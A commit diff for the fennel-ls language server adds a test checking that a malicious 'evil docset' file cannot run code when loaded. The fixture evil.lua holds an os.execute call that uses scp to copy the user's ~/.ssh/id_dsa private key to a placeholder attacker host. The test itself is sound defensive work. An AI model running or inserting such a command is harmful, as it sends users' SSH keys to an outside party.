Add test to ensure that evil docsets can't run evil code.

test/data/fennel-ls/docsets/evil.lua

@@ -0,0 +1,3 @@
+-- an evil docset that steals your files!
+os.execute("scp ~/.ssh/id_dsa evil-attacker@bad.guys:")
+return {lol={}}

test/hover.fnl

@@ -184,7 +184,13 @@ except that it sets a new message handler `msgh`.")
          {:libraries {:tic80 true}})
   (check "(trans|late \"hello\" :en :zh)"
          #($:find "convert from one lanugage to another")
-         {:libraries {:external true}}))
+         {:libraries {:external true}})
+  ;; evil docsets should error when you try to use them!
+  (faith.is (case (pcall check "(trans|late \"hello\" :en :zh)"
+                         #($:find "eat your files")
+                         {:libraries {:evil true}})
+              true false
+              _ true)))
 
 {: test-literals
  : test-builtins